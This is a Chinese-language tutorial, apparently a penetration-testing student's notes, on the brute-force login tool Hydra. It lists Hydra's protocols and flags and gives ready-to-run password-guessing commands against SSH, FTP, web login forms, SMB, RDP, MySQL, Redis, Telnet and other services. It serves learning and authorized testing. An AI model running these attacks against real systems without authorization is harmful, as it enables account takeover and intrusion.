穷举爆破神器hydra详细讲解和利用

渗透测试自学笔记,想把自己所学的完整记录下来

关于Hydra

hydra 是一个支持众多协议的爆破工具,已经集成到Kali-Linux中,直接在终端打开即可,同时也有Windows版(链接)
Windows版
穷举爆破神器hydra详细讲解和利用_第1张图片
Kali版
穷举爆破神器hydra详细讲解和利用_第2张图片

你可以在Github上找到它的源码: https://github.com/vanhauser-thc/thc-hydraHydra

使用hydra 有两个版本

  1. 命令行版本
  2. GUI版本

其中GUI版本叫 xhydra,直接在终端中输入命令打开(或者在菜单中寻找打开)
穷举爆破神器hydra详细讲解和利用_第3张图片

Hydra支持的协议

* Asterisk
* AFP
* Cisco AAA
* Cisco auth
* Cisco enable
* CVS
* Firebird
* FTP
* HTTP-FORM-GET
* HTTP-FORM-POST
* HTTP-GET
* HTTP-HEAD
* HTTP-POST
* HTTP-PROXY
* HTTPS-FORM-GET
* HTTPS-FORM-POST
* HTTPS-GET
* HTTPS-HEAD
* HTTPS-POST
* HTTP-Proxy
* ICQ
* IMAP
* IRC
* LDAP
* MS-SQL
* MYSQL
* NCP
* NNTP
* Oracle Listener
* Oracle SID
* Oracle
* PC-Anywhere
* PCNFS
* POP3
* POSTGRES
* RDP
* Rexec
* Rlogin
* Rsh
* RTSP
* SAP/R3
* SIP
* SMB
* SMTP
* SMTP Enum
* SNMP v1+v2+v3
* SOCKS5
* SSH (v1 and v2)
* SSHKEY
* Subversion
* Teamspeak (TS2)
* Telnet
* VMware-Auth
* VNC
* XMPP

hydra参数详解

  • -l 指定单个用户名,适合在知道用户名爆破用户名密码时使用
  • -L 指定多个用户名,参数值为存储用户名的文件的路径(建议为绝对路径)
  • -p 指定单个密码,适合在知道密码爆破用户名时使用
  • -P 指定多个密码,参数值为存贮密码的文件(通常称为字典)的路径(建议为绝对路径)
  • -C 当用户名和密码存储到一个文件时使用此参数。注意,文件(字典)存储的格式必须为 “用户名:密码” 的格式。
  • -M 指定多个攻击目标,此参数为存储攻击目标的文件的路径(建议为绝对路径)。注意:列表文件存储格式必须为 “地址:端口”
  • -t 指定爆破时的任务数量(可以理解为线程数),默认为16
  • -s 指定端口,适用于攻击目标端口非默认的情况。例如:http服务使用非80端口
  • -S 指定爆破时使用 SSL 链接
  • -R 继续从上一次爆破进度上继续爆破
  • -v/-V 显示爆破的详细信息
  • -f 一但爆破成功一个就停止爆破
  • server 代表要攻击的目标(单个),多个目标时请使用 -M 参数
  • service 攻击目标的服务类型(可以理解为爆破时使用的协议),例如 http,在hydra中,不同协议会使用不同的模块来爆破,hydra 的http-get 和 http-post 模块就用来爆破基于 get 和 post 请求的页面
  • OPT 爆破模块的额外参数,可以使用 -U 参数来查看模块支持那些参数,例如命令:hydra -U http-get

具体使用

1、破解ssh:

hydra -l 用户名 -p 密码字典 -t 线程 -vV -e ns ip ssh
hydra -l 用户名 -p 密码字典 -t 线程 -o save.log -vV ip ssh
hydra -L users.txt -P password.txt -vV -o ssh.log -e ns IP ssh

2、破解ftp:

hydra ip ftp -l 用户名 -P 密码字典 -t 线程(默认16) -vV
hydra ip ftp -l 用户名 -P 密码字典 -e ns -vV

3、get方式提交,破解web登录:

hydra -l 用户名 -p 密码字典 -t 线程 -vV -e ns ip http-get /admin/
hydra -l 用户名 -p 密码字典 -t 线程 -vV -e ns -f ip http-get /admin/index.php

4、post方式提交,破解web登录:

hydra -l 用户名 -P 密码字典 -s 80 ip http-post-form "/admin/login.php:username=^USER^&password=^PASS^&submit=login:sorry password"
hydra -t 3 -l admin -P pass.txt -o out.txt -f 10.36.16.18 http-post-form "login.php:id=^USER^&passwd=^PASS^:wrong username or password"

(参数说明:-t同时线程数3,-l用户名是admin,字典pass.txt,保存为out.txt,-f 当破解了一个密码就停止, 10.36.16.18目标ip,http-post-form表示破解是采用http的post方式提交的表单密码破解,中 的内容是表示错误猜解的返回信息提示。)

5、破解https:

hydra -m /index.php -l muts -P pass.txt IP https
hydra -m /index.php -l username -P pass.txt IP https

6、破解teamspeak:

hydra -l 用户名 -P 密码字典 -s 端口号 -vV ip teamspeak

7、破解cisco:

hydra -P pass.txt IP cisco
hydra -m cloud -P pass.txt IP cisco-enable

8、破解smb:

hydra -l administrator -P pass.txt 10.36.16.18 smb

9、破解pop3:

hydra -l muts -P pass.txt my.pop3.mail pop3

10、破解rdp:

hydra ip rdp -l administrator -P pass.txt -V

11、破解http-proxy:

hydra -l admin -P pass.txt http-proxy://IP

12、破解imap:

hydra -L user.txt -p secret 10.36.16.18 imap PLAIN
hydra -C defaults.txt -6 imap://[fe80::2c:31ff:fe12:ac11]:143/PLAIN

13、破解telnet:

 hydra IP telnet -l 用户 -P 密码字典 -t 32 -s 23 -e ns -f -V

14、爆破mysql

hydra -l root -P /root/pentest/passwd.txt mysql://192.168.0.100 -f -o /root/pentest/mysql.txt -V

15、其他

oracle
hydra -P /root/passwd oracle://192.168.0.100 -f -o /root/oracle.txt –v
redis
hydra -P /root/passlist.txt -e nsr -t 16 192.168.0.101 redis
postgresql 
hydra -P /root/passlist.txt -e nsr -t 16 192.168.0.101 postgresql

xhydra使用

1、xhydra是hydra的可视化工具,在kali命令行中输入xhydra即可开启

以爆破mssql为例。

target页面选项解释如下:

穷举爆破神器hydra详细讲解和利用_第4张图片

password页面选项解释如下:

穷举爆破神器hydra详细讲解和利用_第5张图片

Tuning页面选项解释如下:

穷举爆破神器hydra详细讲解和利用_第6张图片

start页面选项解释如下:穷举爆破神器hydra详细讲解和利用_第7张图片
参考文章
https://www.freebuf.com/articles/web/265477.html

你可能感兴趣的:(渗透测试自学日志之基础原理篇,安全,web安全)